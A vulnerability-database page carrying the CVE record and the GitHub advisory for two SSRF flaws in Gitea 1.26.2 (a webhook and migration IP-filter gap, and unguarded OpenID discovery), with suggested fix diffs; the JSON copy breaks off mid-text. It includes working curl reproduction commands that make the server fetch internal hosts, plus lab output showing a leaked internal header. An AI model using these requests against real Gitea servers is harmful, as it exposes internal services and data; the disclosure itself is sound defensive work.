Vulnerability-Lookup

CVE-2026-58314 (GCVE-0-2026-58314)

Vulnerability from cvelistv5 – Published: 2026-08-13 16:44 – Updated: 2026-08-13 16:44

Title

Two SSRF findings in Gitea 1.26.2

Summary

Two SSRF findings in Gitea 1.26.2

Severity

No CVSS data available.

CWE

CWE-918

Assigner

Gitea

References

3 references

URL	Tags
https://github.com/go-gitea/gitea/security/adviso…	vendor-advisory
https://github.com/go-gitea/gitea/releases/tag/v1.27.0	release-notes
https://blog.gitea.com/gitea-1.27.0-is-released/	release-notes

Impacted products

1 product

Vendor	Product	Version
Gitea	Gitea Open Source Git Server	Affected: 0 , ≤ 1.26.4 (semver)

Credits

xclow3n

Show details on NVD website

JSON

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{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Gitea Open Source Git Server",
          "vendor": "Gitea",
          "versions": [
            {
              "lessThanOrEqual": "1.26.4",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "xclow3n"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Two SSRF findings in Gitea 1.26.2"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-13T16:44:46.109Z",
        "orgId": "88ee5874-cf24-4952-aea0-31affedb7ff2",
        "shortName": "Gitea"
      },
      "references": [
        {
          "name": "GitHub Security Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-2fcr-jfvc-vgg2"
        },
        {
          "name": "Gitea v1.27.0 Release",
          "tags": [
            "release-notes"
          ],
          "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
        },
        {
          "name": "Gitea v1.27.0 Release Blog Post",
          "tags": [
            "release-notes"
          ],
          "url": "https://blog.gitea.com/gitea-1.27.0-is-released/"
        }
      ],
      "title": "Two SSRF findings in Gitea 1.26.2",
      "x_generator": {
        "engine": "cvelib 1.8.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "88ee5874-cf24-4952-aea0-31affedb7ff2",
    "assignerShortName": "Gitea",
    "cveId": "CVE-2026-58314",
    "datePublished": "2026-08-13T16:44:46.109Z",
    "dateReserved": "2026-07-08T09:19:08.772Z",
    "dateUpdated": "2026-08-13T16:44:46.109Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-58314\",\"sourceIdentifier\":\"88ee5874-cf24-4952-aea0-31affedb7ff2\",\"published\":\"2026-08-13T17:17:26.193\",\"lastModified\":\"2026-08-13T17:17:26.193\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Two SSRF findings in Gitea 1.26.2\"}],\"affected\":[{\"source\":\"88ee5874-cf24-4952-aea0-31affedb7ff2\",\"affectedData\":[{\"vendor\":\"Gitea\",\"product\":\"Gitea Open Source Git Server\",\"defaultStatus\":\"unaffected\",\"versions\":[{\"version\":\"0\",\"lessThanOrEqual\":\"1.26.4\",\"versionType\":\"semver\",\"status\":\"affected\"}]}]}],\"metrics\":{},\"weaknesses\":[{\"source\":\"88ee5874-cf24-4952-aea0-31affedb7ff2\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-918\"}]}],\"references\":[{\"url\":\"https://blog.gitea.com/gitea-1.27.0-is-released/\",\"source\":\"88ee5874-cf24-4952-aea0-31affedb7ff2\"},{\"url\":\"https://github.com/go-gitea/gitea/releases/tag/v1.27.0\",\"source\":\"88ee5874-cf24-4952-aea0-31affedb7ff2\"},{\"url\":\"https://github.com/go-gitea/gitea/security/advisories/GHSA-2fcr-jfvc-vgg2\",\"source\":\"88ee5874-cf24-4952-aea0-31affedb7ff2\"}]}}"
  }
}

GHSA-2FCR-JFVC-VGG2

Vulnerability from github – Published: 2026-07-21 21:16 – Updated: 2026-07-21 21:16

Summary

Gitea: Two SSRF findings

Details

| --- | --- | | Versions tested | gitea/gitea:1.26.2 (digest sha256:7d13848af12645600a5f9d93ee2560daa9c6fa6b5b859b7bff3a5e1c0b661031); gitea/gitea:latest resolves to the same digest at time of writing | | Source review | git checkout v1.26.2 (commit 2c749ce) | | Reproduction | bash run_poc.sh (single shot: brings up containers, runs three PoCs, prints captured evidence, tears down on exit) | | Files touched by the fixes | modules/hostmatcher/hostmatcher.go, modules/auth/openid/openid.go |

Summary

Gitea guards outbound HTTP from webhooks and repo migration with net.Dialer.Control, the correct hook point. The IP classifier behind it misses ten address families, of which CGNAT (100.64.0.0/10) is the practically important one because it is plain IPv4 and is used today by Tailscale, AWS VPC secondary CIDRs, and several Kubernetes pod-CIDR conventions. Any logged-in user can create a webhook pointing at an internal CGNAT host. The full HTTP response from that host (status, headers, body up to 1 MB) is stored in the webhook delivery log and rendered to the webhook owner on the hook detail page. The same gap applies to repo migration.

Separately, the OpenID sign-in form at /user/login/openid fetches the user-supplied provider URL server-side via openid-go, which uses http.DefaultClient. No hostmatcher, no IP filter, no CSRF, no authentication. When OpenID sign-in is enabled, anyone on the internet can drive Gitea into making arbitrary GET requests against internal IPs.

Both reproduce on gitea/gitea:1.26.2 (current stable) in default configuration. The bundled run_poc.sh reproduces all three primitives end-to-end in about one minute and tears the lab down at exit.

Finding 1: hostmatcher classifier passes CGNAT and IPv6 transition prefixes

The bug

modules/hostmatcher/hostmatcher.go:107-119, the external builtin:

case MatchBuiltinExternal:
    if ip.IsGlobalUnicast() && !ip.IsPrivate() {
        return true
    }

IsGlobalUnicast() && !IsPrivate() was written for stack bookkeeping, not as a security boundary. It catches RFC 1918, RFC 4193 ULA, link-local, loopback, and the IPv4-mapped ::ffff:0:0/96 prefix (because IsPrivate un-embeds that range via net.IP.To4()). Every other IPv6 transition prefix returns nil from To4(), so the embedded IPv4 is invisible to the classifier.

Address families that pass the guard, verified live on 1.26.2:

Family	Example	Why missed
CGNAT, RFC 6598	`100.64.0.1`	`IsPrivate()` checks 10/8, 172.16/12, 192.168/16 only
NAT64 well-known, RFC 6052	`64:ff9b::7f00:1`	`To4()` un-embeds only `::ffff:0:0/96`
NAT64 local-use, RFC 8215	`64:ff9b:1::1`	same
6to4, RFC 3056	`2002:7f00:1::`	same
Teredo, RFC 4380	`2001::abcd`	same
IPv4-compatible	`::169.254.169.254`	same
SIIT, RFC 6145	`::ffff:0:7f00:1`	same
Documentation	`2001:db8::1`	same
Benchmarking, RFC 2544	`198.18.0.1`	not in any private check
TEST-NET, RFC 5737	`192.0.2.1`	same

CGNAT is the one that needs no IPv6 infrastructure. The 100.64.0.0/10 block overlaps with Tailscale (100.x), AWS VPC secondary CIDRs, and several Kubernetes pod-CIDR conventions. Any Gitea instance that shares a network with services on a CGNAT address is exploitable in default config.

NAT64, 6to4, Teredo, and SIIT need the matching gateway on the network to actually carry the packet. The guard still passes the address, so the bug is real at the guard layer; impact depends on whether the deployment has the corresponding transition mechanism. Lab confirmed: the guard passes, the connection then fails with network is unreachable on a stock Linux box.

The wrapping net.Dialer.Control callback is structurally correct (fires per redirect hop, post-DNS, pre-connect). The classifier is the only broken part.

Reachable sinks

Webhook delivery, services/webhook/deliver.go:

// :321-328
webhookHTTPClient = &http.Client{
    Timeout: timeout,
    Transport: &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: setting.Webhook.SkipTLSVerify},
        Proxy:           webhookProxy(allowedHostMatcher),
        DialContext:     hostmatcher.NewDialContext("webhook", allowedHostMatcher, nil, setting.Webhook.ProxyURLFixed),
    },
}

Authentication required: any logged-in user via user-level hooks (POST /api/v1/user/hooks) or repo-admin via repo-level hooks. The response body is captured up to 1 MB:

// :268
p, err := util.ReadWithLimit(resp.Body, 1024*1024)

and stored in hook_task.response_content, then rendered on /{owner}/{repo}/settings/hooks/{id}.

Repo migration, services/migrations/http_client.go:27:

DialContext: hostmatcher.NewDialContext("migration", allowList, blockList, setting.Proxy.ProxyURLFixed),

with a pre-flight check at services/migrations/migrate.go:43-87 (IsMigrateURLAllowed). Both layers call the same MatchIPAddr, so the pre-flight does not add coverage for the classifier gap.

History

Residual of CVE-2018-15192. The hostmatcher module landed in PR #17482 (2021) with external as the default. The classifier gap has been present from that PR.

Reproduce

run_poc.sh is the one-shot reproduction. It pulls gitea/gitea:1.26.2, brings up a Docker network on 100.64.0.0/24 with a mock internal service at 100.64.0.2:8080, creates a non-admin user, runs all three PoCs, runs a sanity check that confirms RFC 1918 / loopback / ULA / link-local are still blocked, and tears the lab down at exit.

Expected console output (trimmed):

[poc 1] webhook to CGNAT internal service (100.64.0.2:8080)
  ok  created webhook id=1, default ALLOWED_HOST_LIST (external builtin) allowed the CGNAT URL
  internal response captured in hook_task.response_content:
    {"status":200,
     "headers":{"X-Internal-Secret":"CGNAT-INTERNAL-ONLY",
                "Content-Type":"application/json", ...},
     "body":"{\"proof\": \"CGNAT_INTERNAL_SERVICE_RESPONSE_BODY\",
              \"client_seen\": \"100.64.0.10\",
              \"secret\": \"do-not-leak-outside-network\"}"}
  ok  headline confirmed: X-Internal-Secret header reflected to webhook owner

[poc 2] migration clone from CGNAT (http://100.64.0.2:8080/fake.git)
  migrate API returned HTTP 201
  mock log:
    GET /fake.git/info/refs?service=git-upload-pack  from=100.64.0.10
    GET /fake.git/HEAD  from=100.64.0.10
  ok  git smart-HTTP exchange from gitea -> 100.64.0.2 confirmed

[sanity] verify the guard still rejects RFC 1918 / loopback / link-local
  ok  loopback v4   (http://127.0.0.1:8080/)    blocked
  ok  RFC 1918      (http://10.0.0.1:8080/)     blocked
  ok  loopback v6   (http://[::1]:8080/)        blocked
  ok  ULA           (http://[fc00::1]:8080/)    blocked
  ok  link-local v4 (http://169.254.169.254/)   blocked

Boiled down to raw HTTP, the webhook primitive is three calls:

TOKEN=$(curl -s -u attacker:pw -X POST \
  http://localhost:3000/api/v1/users/attacker/tokens \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc","scopes":["write:repository","write:user"]}' \
  | sed -n 's/.*"sha1":"\([^"]*\)".*/\1/p')

curl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks \
  -H "Authorization: token $TOKEN" -H 'Content-Type: application/json' \
  -d '{"type":"gitea",
       "config":{"url":"http://100.64.0.2:8080/internal","content_type":"json"},
       "events":["push"],"active":true}'

curl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks/1/tests \
  -H "Authorization: token $TOKEN"

The internal target's response is then visible on /{owner}/{repo}/settings/hooks/1, or in the SQLite column hook_task.response_content.

Suggested fix

Add an explicit non-routable prefix list to the external builtin:

--- a/modules/hostmatcher/hostmatcher.go
+++ b/modules/hostmatcher/hostmatcher.go
@@ -3,8 +3,9 @@ package hostmatcher

 import (
    "net"
+   "net/netip"
    "path/filepath"
    "slices"
    "strings"
 )

+var nonRoutablePrefixes = []netip.Prefix{
+   netip.MustParsePrefix("100.64.0.0/10"),   // CGNAT, RFC 6598
+   netip.MustParsePrefix("64:ff9b::/96"),    // NAT64 well-known, RFC 6052
+   netip.MustParsePrefix("64:ff9b:1::/48"),  // NAT64 local-use, RFC 8215
+   netip.MustParsePrefix("2001::/32"),       // Teredo, RFC 4380
+   netip.MustParsePrefix("2002::/16"),       // 6to4, RFC 3056
+   netip.MustParsePrefix("::ffff:0:0/96"),   // SIIT (deprecated, still routable through translators)
+   netip.MustParsePrefix("::/96"),           // IPv4-compatible (deprecated)
+   netip.MustParsePrefix("2001:db8::/32"),   // documentation
+   netip.MustParsePrefix("198.18.0.0/15"),   // benchmarking
+   netip.MustParsePrefix("192.0.0.0/24"),    // IETF protocol assignments
+   netip.MustParsePrefix("192.0.2.0/24"),    // TEST-NET-1
+   netip.MustParsePrefix("198.51.100.0/24"), // TEST-NET-2
+   netip.MustParsePrefix("203.0.113.0/24"),  // TEST-NET-3
+}
+
+func isNonRoutable(ip net.IP) bool {
+   a, ok := netip.AddrFromSlice(ip)
+   if !ok {
+       return true
+   }
+   for _, p := range nonRoutablePrefixes {
+       if p.Contains(a) {
+           return true
+       }
+   }
+   return false
+}
+
 func (hl *HostMatchList) checkIP(ip net.IP) bool {
    if slices.Contains(hl.patterns, "*") {
        return true
    }
    for _, builtin := range hl.builtins {
        switch builtin {
        case MatchBuiltinExternal:
-           if ip.IsGlobalUnicast() && !ip.IsPrivate() {
+           if ip.IsGlobalUnicast() && !ip.IsPrivate() && !isNonRoutable(ip) {
                return true
            }

hostmatcher_test.go currently has zero cases for any of the ten families. Suggested additions: at least one IPv4 (CGNAT 100.64.0.1) and four IPv6 (NAT64 well-known, NAT64 local-use, 6to4, IPv4-compatible).

Finding 2: OpenID discovery has no SSRF guard

The bug

routers/web/auth/openid.go:99:

url, err := openid.RedirectURL(id, redirectTo, setting.AppURL)

The thin wrapper at modules/auth/openid/openid.go:36 forwards directly to the package-level function in github.com/yohcop/openid-go. That package keeps a defaultInstance:

// github.com/yohcop/openid-go v1.0.1, openid.go:15
var defaultInstance = NewOpenID(http.DefaultClient)

http.DefaultClient has no transport customization, no Dialer.Control, no IP filtering. openid-go issues a server-side GET to the user-supplied URL to discover the OpenID endpoint. The fetch reaches any address Gitea can route to, including loopback, RFC 1918, link-local, and the same families listed in Finding 1.

The form does not enforce CSRF on this path. The endpoint accepts unauthenticated requests by design (it is the login page).

Default exposure

The setting that gates this endpoint is read from the [openid] section of app.ini:

// modules/setting/service.go:268-270
func loadOpenIDSetting(rootCfg ConfigProvider) {
    sec := rootCfg.Section("openid")
    Service.EnableOpenIDSignIn = sec.Key("ENABLE_OPENID_SIGNIN").MustBool(!InstallLock)

It defaults to !InstallLock, so on a fresh container before the install wizard completes the endpoint is enabled. After INSTALL_LOCK=true it defaults off. Deployments that use OpenID for SSO set it explicitly. (Note for anyone reproducing in Docker: the entrypoint routes GITEA__service__ENABLE_OPENID_SIGNIN into [service], where the loader does not read it. Use GITEA__openid__ENABLE_OPENID_SIGNIN=true.)

History

Extends CVE-2021-45325. The 2019 fix (PR #5705) hid the error string that previously leaked internal topology to the requester. It did not add filtering to the discovery fetch itself. The underlying SSRF primitive remains.

Reproduce

One request, no cookie, no token:

curl -X POST http://localhost:3000/user/login/openid \
  --data-urlencode 'openid=http://INTERNAL:PORT/path'

Captured by the internal target (also shown in run_poc.sh's [poc 3] block):

GET /poc3-openid  from=100.64.0.10
GET /poc3-openid  from=100.64.0.10

Two GETs (one for normalize, one for redirect-URL discovery), both unauthenticated, both with Accept: application/xrds+xml.

Exfiltration is blind. openid-go parses the response as XRDS or HTML for endpoint discovery and does not return the body to the caller. Useful for internal port scanning, IMDS probing, and timing oracles. Lower direct impact than Finding 1, but reachable without an account.

Suggested fix

Wire the hostmatcher into a custom *http.Client and create a dedicated openid-go instance:

--- a/modules/auth/openid/openid.go
+++ b/modules/auth/openid/openid.go
@@ -1,10 +1,28 @@
 package openid

-import "github.com/yohcop/openid-go"
+import (
+   "net/http"
+   "time"
+
+   "code.gitea.io/gitea/modules/hostmatcher"
+   "code.gitea.io/gitea/modules/proxy"
+   "github.com/yohcop/openid-go"
+)

 var (
    nonceStore     = openid.NewSimpleNonceStore()
    discoveryCache = newTimedDiscoveryCache(24 * time.Hour)
+   instance       = openid.NewOpenID(&http.Client{
+       Timeout: 30 * time.Second,
+       Transport: &http.Transport{
+           Proxy: proxy.Proxy(),
+           DialContext: hostmatcher.NewDialContext("openid",
+               hostmatcher.ParseHostMatchList("openid", hostmatcher.MatchBuiltinExternal),
+               nil, nil),
+       },
+   })
 )

 func Verify(fullURL string) (id string, err error) {
-   return openid.Verify(fullURL, discoveryCache, nonceStore)
+   return instance.Verify(fullURL, discoveryCache, nonceStore)
 }

 // RedirectURL redirects browser
 func RedirectURL(id, callbackURL, realm string) (string, error) {
-   return openid.RedirectURL(id, callbackURL, realm)
+   return instance.RedirectURL(id, callbackURL, realm)
 }

openid.Normalize does not perform HTTP and does not need to change. Once Finding 1 is fixed, this MatchBuiltinExternal instance picks up the new prefix coverage automatically.

POC script

run_poc.sh

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58314"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T21:16:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "| --- | --- |\n| Versions tested | `gitea/gitea:1.26.2` (digest `sha256:7d13848af12645600a5f9d93ee2560daa9c6fa6b5b859b7bff3a5e1c0b661031`); `gitea/gitea:latest` resolves to the same digest at time of writing |\n| Source review | `git checkout v1.26.2` (commit `2c749ce`) |\n| Reproduction | `bash run_poc.sh` (single shot: brings up containers, runs three PoCs, prints captured evidence, tears down on exit) |\n| Files touched by the fixes | `modules/hostmatcher/hostmatcher.go`, `modules/auth/openid/openid.go` |\n\n## Summary\n\nGitea guards outbound HTTP from webhooks and repo migration with `net.Dialer.Control`, the correct hook point. The IP classifier behind it misses ten address families, of which CGNAT (100.64.0.0/10) is the practically important one because it is plain IPv4 and is used today by Tailscale, AWS VPC secondary CIDRs, and several Kubernetes pod-CIDR conventions. Any logged-in user can create a webhook pointing at an internal CGNAT host. The full HTTP response from that host (status, headers, body up to 1 MB) is stored in the webhook delivery log and rendered to the webhook owner on the hook detail page. The same gap applies to repo migration.\n\nSeparately, the OpenID sign-in form at `/user/login/openid` fetches the user-supplied provider URL server-side via `openid-go`, which uses `http.DefaultClient`. No `hostmatcher`, no IP filter, no CSRF, no authentication. When OpenID sign-in is enabled, anyone on the internet can drive Gitea into making arbitrary GET requests against internal IPs.\n\nBoth reproduce on `gitea/gitea:1.26.2` (current stable) in default configuration. The bundled `run_poc.sh` reproduces all three primitives end-to-end in about one minute and tears the lab down at exit.\n\n---\n\n## Finding 1: hostmatcher classifier passes CGNAT and IPv6 transition prefixes\n\n### The bug\n\n`modules/hostmatcher/hostmatcher.go:107-119`, the `external` builtin:\n\n```go\ncase MatchBuiltinExternal:\n    if ip.IsGlobalUnicast() \u0026\u0026 !ip.IsPrivate() {\n        return true\n    }\n```\n\n`IsGlobalUnicast() \u0026\u0026 !IsPrivate()` was written for stack bookkeeping, not as a security boundary. It catches RFC 1918, RFC 4193 ULA, link-local, loopback, and the IPv4-mapped `::ffff:0:0/96` prefix (because `IsPrivate` un-embeds that range via `net.IP.To4()`). Every other IPv6 transition prefix returns nil from `To4()`, so the embedded IPv4 is invisible to the classifier.\n\nAddress families that pass the guard, verified live on 1.26.2:\n\n| Family | Example | Why missed |\n| --- | --- | --- |\n| CGNAT, RFC 6598 | `100.64.0.1` | `IsPrivate()` checks 10/8, 172.16/12, 192.168/16 only |\n| NAT64 well-known, RFC 6052 | `64:ff9b::7f00:1` | `To4()` un-embeds only `::ffff:0:0/96` |\n| NAT64 local-use, RFC 8215 | `64:ff9b:1::1` | same |\n| 6to4, RFC 3056 | `2002:7f00:1::` | same |\n| Teredo, RFC 4380 | `2001::abcd` | same |\n| IPv4-compatible | `::169.254.169.254` | same |\n| SIIT, RFC 6145 | `::ffff:0:7f00:1` | same |\n| Documentation | `2001:db8::1` | same |\n| Benchmarking, RFC 2544 | `198.18.0.1` | not in any private check |\n| TEST-NET, RFC 5737 | `192.0.2.1` | same |\n\nCGNAT is the one that needs no IPv6 infrastructure. The 100.64.0.0/10 block overlaps with Tailscale (100.x), AWS VPC secondary CIDRs, and several Kubernetes pod-CIDR conventions. Any Gitea instance that shares a network with services on a CGNAT address is exploitable in default config.\n\nNAT64, 6to4, Teredo, and SIIT need the matching gateway on the network to actually carry the packet. The guard still passes the address, so the bug is real at the guard layer; impact depends on whether the deployment has the corresponding transition mechanism. Lab confirmed: the guard passes, the connection then fails with `network is unreachable` on a stock Linux box.\n\nThe wrapping `net.Dialer.Control` callback is structurally correct (fires per redirect hop, post-DNS, pre-connect). The classifier is the only broken part.\n\n### Reachable sinks\n\nWebhook delivery, `services/webhook/deliver.go`:\n\n```go\n// :321-328\nwebhookHTTPClient = \u0026http.Client{\n    Timeout: timeout,\n    Transport: \u0026http.Transport{\n        TLSClientConfig: \u0026tls.Config{InsecureSkipVerify: setting.Webhook.SkipTLSVerify},\n        Proxy:           webhookProxy(allowedHostMatcher),\n        DialContext:     hostmatcher.NewDialContext(\"webhook\", allowedHostMatcher, nil, setting.Webhook.ProxyURLFixed),\n    },\n}\n```\n\nAuthentication required: any logged-in user via user-level hooks (`POST /api/v1/user/hooks`) or repo-admin via repo-level hooks. The response body is captured up to 1 MB:\n\n```go\n// :268\np, err := util.ReadWithLimit(resp.Body, 1024*1024)\n```\n\nand stored in `hook_task.response_content`, then rendered on `/{owner}/{repo}/settings/hooks/{id}`.\n\nRepo migration, `services/migrations/http_client.go:27`:\n\n```go\nDialContext: hostmatcher.NewDialContext(\"migration\", allowList, blockList, setting.Proxy.ProxyURLFixed),\n```\n\nwith a pre-flight check at `services/migrations/migrate.go:43-87` (`IsMigrateURLAllowed`). Both layers call the same `MatchIPAddr`, so the pre-flight does not add coverage for the classifier gap.\n\n### History\n\nResidual of CVE-2018-15192. The `hostmatcher` module landed in PR #17482 (2021) with `external` as the default. The classifier gap has been present from that PR.\n\n### Reproduce\n\n`run_poc.sh` is the one-shot reproduction. It pulls `gitea/gitea:1.26.2`, brings up a Docker network on `100.64.0.0/24` with a mock internal service at `100.64.0.2:8080`, creates a non-admin user, runs all three PoCs, runs a sanity check that confirms RFC 1918 / loopback / ULA / link-local are still blocked, and tears the lab down at exit.\n\nExpected console output (trimmed):\n\n```\n[poc 1] webhook to CGNAT internal service (100.64.0.2:8080)\n  ok  created webhook id=1, default ALLOWED_HOST_LIST (external builtin) allowed the CGNAT URL\n  internal response captured in hook_task.response_content:\n    {\"status\":200,\n     \"headers\":{\"X-Internal-Secret\":\"CGNAT-INTERNAL-ONLY\",\n                \"Content-Type\":\"application/json\", ...},\n     \"body\":\"{\\\"proof\\\": \\\"CGNAT_INTERNAL_SERVICE_RESPONSE_BODY\\\",\n              \\\"client_seen\\\": \\\"100.64.0.10\\\",\n              \\\"secret\\\": \\\"do-not-leak-outside-network\\\"}\"}\n  ok  headline confirmed: X-Internal-Secret header reflected to webhook owner\n\n[poc 2] migration clone from CGNAT (http://100.64.0.2:8080/fake.git)\n  migrate API returned HTTP 201\n  mock log:\n    GET /fake.git/info/refs?service=git-upload-pack  from=100.64.0.10\n    GET /fake.git/HEAD  from=100.64.0.10\n  ok  git smart-HTTP exchange from gitea -\u003e 100.64.0.2 confirmed\n\n[sanity] verify the guard still rejects RFC 1918 / loopback / link-local\n  ok  loopback v4   (http://127.0.0.1:8080/)    blocked\n  ok  RFC 1918      (http://10.0.0.1:8080/)     blocked\n  ok  loopback v6   (http://[::1]:8080/)        blocked\n  ok  ULA           (http://[fc00::1]:8080/)    blocked\n  ok  link-local v4 (http://169.254.169.254/)   blocked\n```\n\nBoiled down to raw HTTP, the webhook primitive is three calls:\n\n```bash\nTOKEN=$(curl -s -u attacker:pw -X POST \\\n  http://localhost:3000/api/v1/users/attacker/tokens \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"name\":\"poc\",\"scopes\":[\"write:repository\",\"write:user\"]}\u0027 \\\n  | sed -n \u0027s/.*\"sha1\":\"\\([^\"]*\\)\".*/\\1/p\u0027)\n\ncurl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks \\\n  -H \"Authorization: token $TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"type\":\"gitea\",\n       \"config\":{\"url\":\"http://100.64.0.2:8080/internal\",\"content_type\":\"json\"},\n       \"events\":[\"push\"],\"active\":true}\u0027\n\ncurl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks/1/tests \\\n  -H \"Authorization: token $TOKEN\"\n```\n\nThe internal target\u0027s response is then visible on `/{owner}/{repo}/settings/hooks/1`, or in the SQLite column `hook_task.response_content`.\n\n### Suggested fix\n\nAdd an explicit non-routable prefix list to the `external` builtin:\n\n```diff\n--- a/modules/hostmatcher/hostmatcher.go\n+++ b/modules/hostmatcher/hostmatcher.go\n@@ -3,8 +3,9 @@ package hostmatcher\n\n import (\n \t\"net\"\n+\t\"net/netip\"\n \t\"path/filepath\"\n \t\"slices\"\n \t\"strings\"\n )\n\n+var nonRoutablePrefixes = []netip.Prefix{\n+\tnetip.MustParsePrefix(\"100.64.0.0/10\"),   // CGNAT, RFC 6598\n+\tnetip.MustParsePrefix(\"64:ff9b::/96\"),    // NAT64 well-known, RFC 6052\n+\tnetip.MustParsePrefix(\"64:ff9b:1::/48\"),  // NAT64 local-use, RFC 8215\n+\tnetip.MustParsePrefix(\"2001::/32\"),       // Teredo, RFC 4380\n+\tnetip.MustParsePrefix(\"2002::/16\"),       // 6to4, RFC 3056\n+\tnetip.MustParsePrefix(\"::ffff:0:0/96\"),   // SIIT (deprecated, still routable through translators)\n+\tnetip.MustParsePrefix(\"::/96\"),           // IPv4-compatible (deprecated)\n+\tnetip.MustParsePrefix(\"2001:db8::/32\"),   // documentation\n+\tnetip.MustParsePrefix(\"198.18.0.0/15\"),   // benchmarking\n+\tnetip.MustParsePrefix(\"192.0.0.0/24\"),    // IETF protocol assignments\n+\tnetip.MustParsePrefix(\"192.0.2.0/24\"),    // TEST-NET-1\n+\tnetip.MustParsePrefix(\"198.51.100.0/24\"), // TEST-NET-2\n+\tnetip.MustParsePrefix(\"203.0.113.0/24\"),  // TEST-NET-3\n+}\n+\n+func isNonRoutable(ip net.IP) bool {\n+\ta, ok := netip.AddrFromSlice(ip)\n+\tif !ok {\n+\t\treturn true\n+\t}\n+\tfor _, p := range nonRoutablePrefixes {\n+\t\tif p.Contains(a) {\n+\t\t\treturn true\n+\t\t}\n+\t}\n+\treturn false\n+}\n+\n func (hl *HostMatchList) checkIP(ip net.IP) bool {\n \tif slices.Contains(hl.patterns, \"*\") {\n \t\treturn true\n \t}\n \tfor _, builtin := range hl.builtins {\n \t\tswitch builtin {\n \t\tcase MatchBuiltinExternal:\n-\t\t\tif ip.IsGlobalUnicast() \u0026\u0026 !ip.IsPrivate() {\n+\t\t\tif ip.IsGlobalUnicast() \u0026\u0026 !ip.IsPrivate() \u0026\u0026 !isNonRoutable(ip) {\n \t\t\t\treturn true\n \t\t\t}\n```\n\n`hostmatcher_test.go` currently has zero cases for any of the ten families. Suggested additions: at least one IPv4 (CGNAT 100.64.0.1) and four IPv6 (NAT64 well-known, NAT64 local-use, 6to4, IPv4-compatible).\n\n---\n\n## Finding 2: OpenID discovery has no SSRF guard\n\n### The bug\n\n`routers/web/auth/openid.go:99`:\n\n```go\nurl, err := openid.RedirectURL(id, redirectTo, setting.AppURL)\n```\n\nThe thin wrapper at `modules/auth/openid/openid.go:36` forwards directly to the package-level function in `github.com/yohcop/openid-go`. That package keeps a `defaultInstance`:\n\n```go\n// github.com/yohcop/openid-go v1.0.1, openid.go:15\nvar defaultInstance = NewOpenID(http.DefaultClient)\n```\n\n`http.DefaultClient` has no transport customization, no `Dialer.Control`, no IP filtering. `openid-go` issues a server-side GET to the user-supplied URL to discover the OpenID endpoint. The fetch reaches any address Gitea can route to, including loopback, RFC 1918, link-local, and the same families listed in Finding 1.\n\nThe form does not enforce CSRF on this path. The endpoint accepts unauthenticated requests by design (it is the login page).\n\n### Default exposure\n\nThe setting that gates this endpoint is read from the `[openid]` section of `app.ini`:\n\n```go\n// modules/setting/service.go:268-270\nfunc loadOpenIDSetting(rootCfg ConfigProvider) {\n\tsec := rootCfg.Section(\"openid\")\n\tService.EnableOpenIDSignIn = sec.Key(\"ENABLE_OPENID_SIGNIN\").MustBool(!InstallLock)\n```\n\nIt defaults to `!InstallLock`, so on a fresh container before the install wizard completes the endpoint is enabled. After `INSTALL_LOCK=true` it defaults off. Deployments that use OpenID for SSO set it explicitly. (Note for anyone reproducing in Docker: the entrypoint routes `GITEA__service__ENABLE_OPENID_SIGNIN` into `[service]`, where the loader does not read it. Use `GITEA__openid__ENABLE_OPENID_SIGNIN=true`.)\n\n### History\n\nExtends CVE-2021-45325. The 2019 fix (PR #5705) hid the error string that previously leaked internal topology to the requester. It did not add filtering to the discovery fetch itself. The underlying SSRF primitive remains.\n\n### Reproduce\n\nOne request, no cookie, no token:\n\n```bash\ncurl -X POST http://localhost:3000/user/login/openid \\\n  --data-urlencode \u0027openid=http://INTERNAL:PORT/path\u0027\n```\n\nCaptured by the internal target (also shown in `run_poc.sh`\u0027s `[poc 3]` block):\n\n```\nGET /poc3-openid  from=100.64.0.10\nGET /poc3-openid  from=100.64.0.10\n```\n\nTwo GETs (one for normalize, one for redirect-URL discovery), both unauthenticated, both with `Accept: application/xrds+xml`.\n\nExfiltration is blind. `openid-go` parses the response as XRDS or HTML for endpoint discovery and does not return the body to the caller. Useful for internal port scanning, IMDS probing, and timing oracles. Lower direct impact than Finding 1, but reachable without an account.\n\n### Suggested fix\n\nWire the `hostmatcher` into a custom `*http.Client` and create a dedicated `openid-go` instance:\n\n```diff\n--- a/modules/auth/openid/openid.go\n+++ b/modules/auth/openid/openid.go\n@@ -1,10 +1,28 @@\n package openid\n\n-import 